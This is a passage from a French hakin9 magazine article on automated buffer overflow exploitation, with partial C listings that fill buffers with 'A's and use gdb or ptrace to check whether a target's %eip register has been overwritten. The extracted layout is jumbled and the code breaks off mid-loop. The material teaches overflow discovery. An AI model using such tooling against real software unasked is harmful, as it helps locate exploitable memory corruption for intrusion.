rien de plus que créer des mémoires tampons remplies de A lorsque c'est ce qui lui est ordonné de faire. Une politique relativement facile à comprendre pour produire de telles données utiles est illustrée par la célèbre technique de la force brute. Nous allons créer des mémoires tampons de toutes les longueurs possibles, qui seront ensuite testée l'une après
hakin9 Nº 2/2006
59
Programmation
Listing 2. Sous-système d'exécution et d'inspection élaboré avec gdb, grep et awk (suite) switch( address_status( address ) ) { case 0: // 0x41414141 if( flag == 1 ) { //si 3 bits de poids faible ont été modifiés antérieurement if(verbose) { fprintf(stdout, "-> %%eip status: definately smashed. "); printfixed(address); } inspec_val = 0; } else { // eip correspond avec le premier essai, // ce qui implique deux cas. // premier cas : la commande gdb // – a enregistré un fausse adresse, nous devons donc //continuer // deuxième cas : un contrôle rapide révèle une mémoire // tampon vulnérable if(verbose) { fprintf(stdout, "-> %%eip status: probably smashed. "); printfixed(address); } inspec_val = -1; } break; case 1:// 3 bits de poids faibles ont été modifiés // soit nous sommes sur le point de modifier // %eip au prochain essai, soit // un contrôle rapide correspond au 3/4 de %eip. // Résultat intéressant, nous devons lancer // une tournée supplémentaire pour être sûr. flag = 1; if(verbose) { fprintf(stdout, "-> %%eip status: partially smashed. "); printfixed(address); }
case -1:
default:
inspec_val = -1; break; if(verbose) { if(address) { fprintf(stdout, "-> %%eip status: not smashed. "); printfixed(address); } else fprintf(stdout, "-> %%eip status: not smashed. (unaccessible)\ n"); } inspec_val = -1; break; fprintf(stderr, "[!] I shouldn't be here.\n"); inspec_val = -2;
} unlink(RETF);
}
return inspec_val;
l'autre jusqu'à la détection d'un signe d'alternance ou jusqu'à atteindre la longueur maximum de la mémoire
60
hakin9 Nº 2/2006
tampon dans le champ des essais. Si l'argument est vulnérable, et si notre champ d'essai est compris
www.hakin9.org
dans la même étendue, alors l'alternance délibérée sera définitivement détectée. La Figure 2 illustre cette augmentation par un seul algorithme. Créer des mémoires tampons exponentielles, lorsque l'exposant n'est que d'un octet, présente certains avantages et inconvénients. L'un de ces avantages est que cette méthode permet de réduire la complexité de programmation afin de gagner du temps dans les calculs. Elle offre en réalité une implémentation plus abstraite. Si l'incrémentation est plus importante qu'un seul A, elle accélèrerait définitivement le processus tout en introduisant des conflits avec nos trois états possibles de %eip . N'oubliez surtout pas qu'une alternance est dite délibérée si, et seulement si l'ensemble des quatre octets de %eip a été altéré et si trois des quatre octets ont été altérés lors d'un essai antérieur. Nous avons exposé dans le Listing 1 une implémentation du sous-système de création des données utiles sous forme de composant entièrement réutilisable. Dans la mesure où le code exposé dans le Listing 1 utilise la fonction malloc() pour allouer une mémoire tampon, puis retourne un pointeur vers cette dernière, elle devrait être vidée à un moment donné. Ce qui peut s'effectuer de la manière suivante : char *p; p = make_payload("foo", _APPEND, 1); free(p);
Deuxième algorithme de création de données utiles
Au lieu d'augmenter les données utiles d'un seul A, il est également possible de l'augmenter avec des blocs de A. Toutefois, cette méthode entre en conflit avec nos trois états possibles de %eip. C'est la raison pour laquelle cette méthode n'a pas été implémentée dans l'outil.
Exploitation automatisée
Pour être plus précis, il existe une probabilité considérable que l'état 2 ne soit jamais satisfait, ce qui entraînerait un conflit avec le flux défini du moment des états internes. Au moment de créer des mémoires tampons à partir de blocs de A, la valeur la plus efficace semble être trois A par bloc en termes de rapidité. Et plus particulièrement, la valeur idéale est produite par la formule suivante :
Listing 3. Sous-système d'exécution et d'inspection élaboré avec l'appel de système ptrace int exec_and_inspect_2(char *buffer, int arg, char *vulnfile) { // retourne : -2 ~ erreur interne // -1 ~ pas de correspondance // 0 ~ correspondance :) REGISTERS regs; pid_t pid; int inspec_val = -1, wait_val, i = 1; LLONG counter = 0; char *args[MAX_ARGS] = {NULL}; args[0] = "lazyjoe"; for(i = 1; i
